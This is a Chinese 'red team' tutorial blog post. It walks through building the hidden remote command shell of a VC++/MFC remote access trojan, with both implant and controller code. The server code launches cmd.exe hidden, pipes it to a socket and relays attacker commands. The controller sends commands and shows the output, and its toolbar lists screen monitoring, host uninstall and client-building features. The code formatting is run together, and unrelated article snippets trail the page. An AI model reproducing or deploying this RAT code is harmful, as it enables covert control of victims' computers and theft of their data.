红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [16]超级终端(1)
    • 消息 宏的定义映射
    • cmdshell.cpp重载 构造函数
    • Onsize 随窗口大小事件
    • 回车键发送命令
    • 添加字符转换类 StringToTransform
  • [17]超级终端(2)
    • 接受命令
    • 创建m_cmd c++类
    • 发送 接收
    • 客户端
    • 远端进程关闭

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[16]超级终端(1)

在这里插入图片描述

进程间通信


添加命令执行窗体
IDD_CMDSHELL
Resizing 边框
两个edit 控件
read only客户端 远端发送开启cmd命令 OPEN_CMD(#define OPEN_CMD 0x01) 服务端 1.创建管道 --- 建立连接客户端 net user			       2.服务端 接受命令  ---通过通道(net user)---> 送入CMD进程 ---通过管道guest---> 服务端服务端 发送回显
客户端  --- 接收回显MFC类
添加变量   m_recv    m_send重写cmdshell   oninitdialog事件
BOOL CCmdShell::OnInitDialog()
{CDialog::OnInitDialog();// TODO:  在此添加额外的初始化GetClientRect(&m_rect);MSGINFO msg;memset(&msg,0,sizeof(MSGINFO));msg.Msg_id = CMDSHELL;    //  命令idif(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR){MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);}return TRUE;  // return TRUE unless you set the focus to a control// 异常: OCX 属性页应返回 FALSE
}cmdshell.h 添加在 itemdata.h下主dlg文件
private:void OnCmdShell();   头文件声明void CClientDlg::OnCmdShell() //超级终端
{CItemData *t;t = GetSelItemInfo();if(t == NULL){return;}else{t->RunToCmdShell();}
}itemdata cpp  hvoid CItemData::RunToCmdShell()
{if(m_cmd == NULL){m_cmd = new CCmdShell(this,m_sock);m_cmd->Create(IDD_CMDSHELL,this);m_cmd->ShowWindow(SW_NORMAL);   // 显示窗口}else{m_cmd->SetActiveWindow();   // 置前}
}public:void RunToCmdShell();CCmdShell *m_cmd;   // 命令对话框窗体的指针CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
m_cmd = NULL;

消息 宏的定义映射

BEGIN_MESSAGE_MAP(CClientDlg, CDialog)ON_WM_PAINT()ON_WM_QUERYDRAGICON()//主机消息ON_MESSAGE(ID_ONLINE,OnAddHost)ON_MESSAGE(ID_OFFLINE,OnOffLine)//按钮消息ON_COMMAND(ID_FILE_MANAGER,OnFileManager)ON_COMMAND(ID_SCREEN,OnScreen)ON_COMMAND(ID_CMDSHELL,OnCmdShell)ON_COMMAND(ID_TASK,OnTask)ON_COMMAND(ID_BUILD,OnBuild)//}}AFX_MSG_MAPON_WM_SIZE()ON_WM_CLOSE()
END_MESSAGE_MAP()#define ID_CMDSHELL     1003const UINT t[10] = {1001,1002,1003,1004,1005,1006,0,1007,1008,1009};m_toolbar.CreateEx(this);m_toolbar.SetButtons(t,10);m_toolbar.SetSizes(CSize(60,56),CSize(24,24));m_toolbar.SetButtonText(0,_T("文件管理"));m_toolbar.SetButtonText(1,_T("屏幕监控"));m_toolbar.SetButtonText(2,_T("超级终端"));m_toolbar.SetButtonText(3,_T("进程管理"));m_toolbar.SetButtonText(4,_T("服务管理"));m_toolbar.SetButtonText(5,_T("卸载主机"));m_toolbar.SetButtonText(7,_T("生成客户"));m_toolbar.SetButtonText(8,_T("程序设置"));m_toolbar.SetButtonText(9,_T("关于软件"));m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);

cmdshell.cpp重载 构造函数


BEGIN_MESSAGE_MAP(CCmdShell, CDialog)ON_WM_SIZE()ON_WM_CLOSE()
END_MESSAGE_MAP()CCmdShell::CCmdShell(CWnd* pParent /*=NULL*/,SOCKET sock): CDialog(CCmdShell::IDD, pParent)
{m_sock = sock;
}头文件定义
#include "MySocket.h"
#include "Common.h"public://CCmdShell(CWnd* pParent = NULL);   // 标准构造函数CCmdShell(CWnd* pParent = NULL,SOCKET sock = NULL);   // 标准构造函数virtual ~CCmdShell();private:SOCKET m_sock;CRect m_rect;MSGINFO msg;CMySocket m_Mysock;

开启命令功能 common.h 标识
#define CMDSHELL 0x0A

Onsize 随窗口大小事件

public:afx_msg void OnSize(UINT nType, int cx, int cy);void CCmdShell::OnSize(UINT nType, int cx, int cy)
{CDialog::OnSize(nType, cx, cy);// TODO: 在此处添加消息处理程序代码if(nType == SIZE_MINIMIZED){return;}CWnd *pWnd,*pWnd1;pWnd = GetDlgItem(IDC_EDIT1);     //获取控件句柄pWnd1 = GetDlgItem(IDC_EDIT2);if(pWnd && pWnd1)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建{CRect rect,rect_l;   //获取控件变化前大小GetClientRect(&rect_l);pWnd->GetWindowRect(&rect);ScreenToClient(&rect);rect.right = rect.right + (rect_l.right - m_rect.right);rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);pWnd->MoveWindow(rect);//设置控件大小pWnd1->GetWindowRect(&rect);ScreenToClient(&rect);rect.top = rect.top + (rect_l.bottom - m_rect.bottom);rect.right = rect.right + (rect_l.right - m_rect.right);rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);pWnd1->MoveWindow(rect);//设置控件大小}else{delete pWnd;}GetClientRect(&m_rect);
}

回车键发送命令

public:virtual BOOL PreTranslateMessage(MSG* pMsg);
BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{// TODO: 在此添加专用代码和/或调用基类if(pMsg->message==WM_KEYDOWN)  {  int nVirtKey = (int)pMsg->wParam;if(nVirtKey==VK_RETURN)  {//发送消息if(m_send.GetSafeHwnd()==::GetFocus())  // 输入框  句柄  焦点   获取控件窗口 光标在输入框里{if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0)  //文本长度为零{return TRUE;}CString str;GetDlgItem(IDC_EDIT2)->GetWindowTextW(str);  // 宽字节获取字符串 msg.Msg_id = COMMAND;CMD cmd;   // 获取cmd 结构体memset(&cmd,0,sizeof(CMD));memset(&msg,0,sizeof(MSGINFO));m_str.CStringToChar(str,cmd.command);  // 宽字符 转成 多字节if(strcmp(cmd.command,"exit")==0)   //   进程退出{SendMessageW(WM_CLOSE,0,0);   // 关闭当前窗体return TRUE;}msg.Msg_id = COMMAND;strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n");   // 回车 换行memcpy(msg.context,&cmd,sizeof(CMD));m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T(""));   // 清零str.ReleaseBuffer(); }return TRUE;}else if(nVirtKey==VK_ESCAPE){return TRUE;}}return CDialog::PreTranslateMessage(pMsg);   //消息传给下一层
}

common头文件 同时 server端同步

cmd 结构体
typedef struct tagCMD //CMD命令信息
{int flag;   //保留标志  char command[1024];
}CMD;#define COMMAND  0x0B

cmdshell 头文件

#include "StringToTransform.h"private:CStringToTransform m_str;

添加字符转换类 StringToTransform


#include "StdAfx.h"
#include "StringToTransform.h"CStringToTransform::CStringToTransform(void)
{
}CStringToTransform::~CStringToTransform(void)
{
}void CStringToTransform::CStringToChar(CString str,char* w)
{int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);w[len] = '\0';
}wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);wchar_t *pwText;pwText = new wchar_t[dwNum];if(!pwText){delete []pwText;}MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);return pwText;
}#pragma onceclass CStringToTransform
{
public:CStringToTransform(void);~CStringToTransform(void);void CStringToChar(CString str,char* w);wchar_t* CharToCString(char* temp);
};

[17]超级终端(2)

服务端的相关操作

接受命令

threadmain cpp

case CMDSHELL:{printf("CmeShell\n");m_cmd.Cmd_GetSock(l_Socket);::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));  // 读 防止阻塞Sleep(200);::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));}break;case COMMAND:{CMD recvcmd;char recv_buff[1024];memset(&recvcmd,0,sizeof(CMD));memcpy(&recvcmd,msg.context,sizeof(CMD));memset(recv_buff,0,sizeof(recv_buff));strcpy_s(recv_buff,1024,recvcmd.command);//   if(m_task.ExistTask(m_cmd.GetProcID()) == false)//  {//   m_cmd.NoTaskExit(l_Socket);//   break;//   } m_cmd.Cmd_Recv(recv_buff);}break;

建立两条管道

创建m_cmd c++类

#pragma onceclass CCmdShell
{
public:CCmdShell(void);~CCmdShell(void);void Cmd_Init();void Cmd_Recv(char recv_buff[1024]);void Cmd_Send();DWORD GetProcID();void Cmd_GetSock(SOCKET sock);void NoTaskExit(SOCKET Socket);
private:SOCKET m_sock_cmd;CMySocket m_sock;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;PROCESS_INFORMATION pi;STARTUPINFO si;
};threadmain  h
#include "CmdShell.h"
private:CCmdShell m_cmd; static DWORD WINAPI SendCmd(LPVOID self);static DWORD WINAPI InitCmd(LPVOID self);threadmain cppDWORD WINAPI CThreadMain::SendCmd(LPVOID self)
{CCmdShell* t = (CCmdShell*)self;t->Cmd_Send();return 0;
}DWORD WINAPI CThreadMain::InitCmd(LPVOID self)
{CCmdShell* t = (CCmdShell*)self;t->Cmd_Init();return 0;
}

发送 接收


void CCmdShell::Cmd_Init()
{//初始化GetStartupInfoW(&si);// 新进程窗口显示方式和标准输入输出句柄的指定si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  //使cmd的输入输出和管道关联  si.hStdInput = hReadPipe;si.hStdError = hWritePipe;si.hStdOutput = hWritePipe;si.wShowWindow = SW_HIDE;wchar_t cmdline[256]={0};//得到系统路径GetSystemDirectory(cmdline,sizeof(cmdline));  // 获取系统目录wcscat_s(cmdline,_T("\\cmd.exe"));//创建cmd进程if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0){printf("CreateProcess Error\n");}::CloseHandle(pi.hProcess);   // 关闭句柄
}void CCmdShell::Cmd_Send()
{//发送命令SECURITY_ATTRIBUTES sa;DWORD len;char send_buff[1024];sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;CreatePipe(&hReadFile,&hWritePipe,&sa,0);    //  创建通道  读发  传递cmd进程  SECURITY_ATTRIBUTES sa_r;sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);sa_r.lpSecurityDescriptor = NULL;sa_r.bInheritHandle = TRUE;//创建管道CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);MSGINFO_S msg;memset(&msg,0,sizeof(MSGINFO_S));msg.Msg_id = CMDSHELL;while (true){//读取管道中的数据memset(send_buff,0,sizeof(send_buff));   //  阻塞的函数if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE)   //结束cmd{break;}//把管道中的数据发送给远程主机CMD cmd;memset(&cmd,0,sizeof(CMD));strcpy_s(cmd.command,sizeof(send_buff),send_buff);cmd.flag = 0;memcpy(msg.context,&cmd,sizeof(CMD));m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));}printf("CmdThreadOver\n");
}void CCmdShell::Cmd_Recv(char recv_buff[1024])
{DWORD nByteWritten;if(strcmp("exit\r\n",recv_buff)==0){::CloseHandle(hWritePipe);::CloseHandle(hReadPipe);}WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}cmdshell   h
#include "Common.h"
#include "Mysocket.h"void CCmdShell::Cmd_GetSock(SOCKET sock)
{m_sock_cmd = sock;
}

客户端


itemdata case CMDSHELL:{if(m_cmd == NULL){break;}CMD t;memset(&t,0,sizeof(CMD));memcpy(&t,msg.context,sizeof(CMD));m_cmd->GetReturnInfo(t);}break;cmdshell hpublic:void GetReturnInfo(CMD t);多字节 转换 宽字符   显示
void CCmdShell::GetReturnInfo(CMD t)
{if(t.flag == 0){CString tem;wchar_t *pwText;pwText = m_str.CharToCString(t.command);m_recv.GetWindowTextW(tem);m_recv.SetWindowTextW(tem + pwText);m_recv.SetSel(-1);    //  最后字符 的 下一个 字符 delete[] pwText;m_send.GetFocus();}else{MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);SendMessageW(WM_CLOSE,0,0);}
}

远端进程关闭

public:afx_msg void OnSize(UINT nType, int cx, int cy);virtual BOOL PreTranslateMessage(MSG* pMsg);afx_msg void OnClose();#include "ItemData.h"
void CCmdShell::OnClose()
{// TODO: 在此添加消息处理程序代码和/或调用默认值MSGINFO msg;CMD cmd;memset(&msg,0,sizeof(MSGINFO));memset(&cmd,0,sizeof(CMD));msg.Msg_id = COMMAND;strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");memcpy(msg.context,&cmd,sizeof(CMD));m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));//CDialog::OnClose();((CItemData*)this->m_pParentWnd)->m_cmd = NULL;   // 防止多开  getreturninfoDestroyWindow();   // 销毁窗体delete this;   // 删除创建这个类
}mutilline
vertical scrollprivate:   static unsigned int __stdcall OnCmdRecv(LPVOID self);void OnCmdRecv_run();GetClientRect(&m_rect);MSGINFO msg;memset(&msg,0,sizeof(MSGINFO));msg.Msg_id = CMDSHELL;if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR){MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/192254.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

景联文科技:驾驭数据浪潮,赋能AI产业——全球领先的数据标注解决方案供应商

根据IDC相关数据统计,全球数据量正在经历爆炸式增长,预计将从2016年的16.1ZB猛增至2025年的163ZB,其中大部分是非结构化数据,被直接利用,必须通过数据标注转化为AI可识别的格式,才能最大限度地发挥其应用价…

网络运维Day17

文章目录 什么是数据库MySQL介绍实验环境准备构建MySQL服务连接数据库修改root密码 数据库基础常用的SQL命令分类SQL命令使用规则MySQL基本操作创建库创建表查看表结构 记录管理命令 数据类型数值类型 数据类型日期时间类型时间函数案例枚举类型 约束条件案例修改表结构添加新字…

C++二分查找算法:最大为 N 的数字组合

涉及知识点 二分查找 数学 题目 给定一个按 非递减顺序 排列的数字数组 digits 。你可以用任意次数 digits[i] 来写的数字。例如,如果 digits [‘1’,‘3’,‘5’],我们可以写数字,如 ‘13’, ‘551’, 和 ‘1351315’。 返回 可以生成的…

基于群居蜘蛛算法优化概率神经网络PNN的分类预测 - 附代码

基于群居蜘蛛算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于群居蜘蛛算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于群居蜘蛛优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要:针对PNN神…

python语言的由来与发展历程

Python语言的由来可以追溯到1989年,由Guido van Rossum(吉多范罗苏姆)创造。在他的业余时间里,Guido van Rossum为了打发时间,决定创造一种新的编程语言。他受到了ABC语言的启发,ABC语言是一种过程式编程语…

PHP 服装销售管理系统mysql数据库web结构layUI布局apache计算机软件工程网页wamp

一、源码特点 PHP 服装销售管理系统是一套完善的web设计系统mysql数据库 ,对理解php编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 php服装销售管理系统1 二、功能介绍 (1)员工管理:对员工信息…

【电子通识】USB端口颜色编码标识

不知道你有没有发现 USB 口有不同的颜色,黑色、蓝色、紫色、红色、黄色等等,你知道不同颜色的 USB 口各代表什么意思吗? 这些颜色不是USB规范所要求的,设备制造商之间也不一致。例如,Intel使用橙色表示充电端口&#…

DAY54 392.判断子序列 + 115.不同的子序列

392.判断子序列 题目要求:给定字符串 s 和 t ,判断 s 是否为 t 的子序列。 字符串的一个子序列是原始字符串删除一些(也可以不删除)字符而不改变剩余字符相对位置形成的新字符串。(例如,"ace"是…

科研学习|科研软件——有序多分类Logistic回归的SPSS教程!

一、问题与数据 研究者想调查人们对“本国税收过高”的赞同程度:Strongly Disagree——非常不同意,用“0”表示;Disagree——不同意,用“1”表示;Agree--同意,用“2”表示;Strongly Agree--非常…

并发编程由浅及深(一)

并发编程重要吗?当然重要,因为并发在我们的项目中真实存在,如果你不能充分了解它那么很可能造成严重的生产事故。最近隔壁项目组出了一个问题,每次请求接口之后都发现线程固定增加了5个,而且线程数一直增加没有减少&am…

修炼k8s+flink+hdfs+dlink(七:flinkcdc)

一 :flinkcdc官网链接。 https://ververica.github.io/flink-cdc-connectors/release-2.1/content/about.html 二:在flink中添加jar包。 在flink lib目录下增加你所需要的包。 https://kdocs.cn/join/gv467qi?f101 邀请你加入共享群「工作使用重要工具…

【uniapp】确认弹出框,选择确定和取消

代码如下&#xff1a; <view style"display: flex; justify-content: space-around;"><button class"button" click"submit">t提交</button> </view>submit(){let thatthisuni.showModal({title: 提示&#xff1a;,con…

react Antd3以下实现年份选择器 YearPicker

项目antd版本低&#xff0c;没有直接可使用的年份选择器&#xff0c;参考此篇&#xff08;使用antd实现年份选择器控件 - 掘金&#xff09; 一开始在state里设置了time&#xff1a; this.state {isopen: false,time: null } 在类似onChange事件里this.setState({time: valu…

【fbtft】如何添加fbtft驱动

获取lcd ic的datasheet&#xff0c;或者直接找到其他平台&#xff08;linux&#xff0c;stm32&#xff0c;esp32&#xff09;的驱动 我用的是合宙的esp32驱动&#xff0c;注意是c语言的&#xff0c;合宙上层用lua封装了&#xff0c;需要找到sdk源码。 源码路径&#xff1a; …

kafka单节点创建 topic 超时

1.根据之前的知道&#xff0c;安装kafka的时候改了config的server.properies文件中的listeners配置 之前这一行是没有注释掉的&#xff0c;结果创建topic的时候时钟报错连接超时 结果资料&#xff0c;发现就是因为listeners的问题 https://blog.csdn.net/weixin_42133361/art…

Jenkins中强制停止停不下来的job

# Script console 执行脚本 Jenkins 的提供了 script console 的功能&#xff0c;允许你写一些脚本&#xff0c;来调度 Jenkins 执行一些任务。 我们就可以利用 script console 来强制停止 job 执行。 首先进入 Jenkins 的 script console 页面&#xff1a; script console 路…

解决Chrome无法自动同步书签

前提&#xff1a;&#xff08;要求能正常访问google&#xff09; 准备一个谷歌账号 安装Chrome浏览器 开启集装箱插件&#xff08;或者其他能访问谷歌的工具&#xff09; 步骤&#xff1a;&#xff08;使用集装箱插件/能正常访问谷歌的其他工具&#xff09; 下载安装使用“集…

【机器学习5】无监督学习聚类

相比于监督学习&#xff0c; 非监督学习的输入数据没有标签信息&#xff0c; 需要通过算法模型来挖掘数据内在的结构和模式。 非监督学习主要包含两大类学习方法&#xff1a; 数据聚类和特征变量关联。 1 K均值聚类及优化及改进模型 1.1 K-means 聚类是在事先并不知道任何样…

c语言从入门到实战——基于指针的数组与指针数组

基于指针的数组与指针数组 前言1. 数组名的理解2. 使用指针访问数组3. 一维数组传参的本质4. 冒泡排序5. 二级指针6. 指针数组7. 指针数组模拟二维数组 前言 指针的数组是指数组中的元素都是指针类型&#xff0c;它们指向某种数据类型的变量。 1. 数组名的理解 我们在使用指针…

Banana Pi BPI-SWE1000 中大型高度智能的控制板,智能回收箱,智能垃圾箱,智能售卖系统控制板

Banana Pi BPI-SWE1000是一块中大型高度智能的控制板,有多种传感器的输入接口&#xff0c;能控制机器设备执行多种动作,而且具有联网功能。主要应用于国内外单箱体多物品智能回收系统,复杂的智能售卖系统,智能厕所等一些智能设备的控制系统。 产品特点: l 2路RS232接口&#…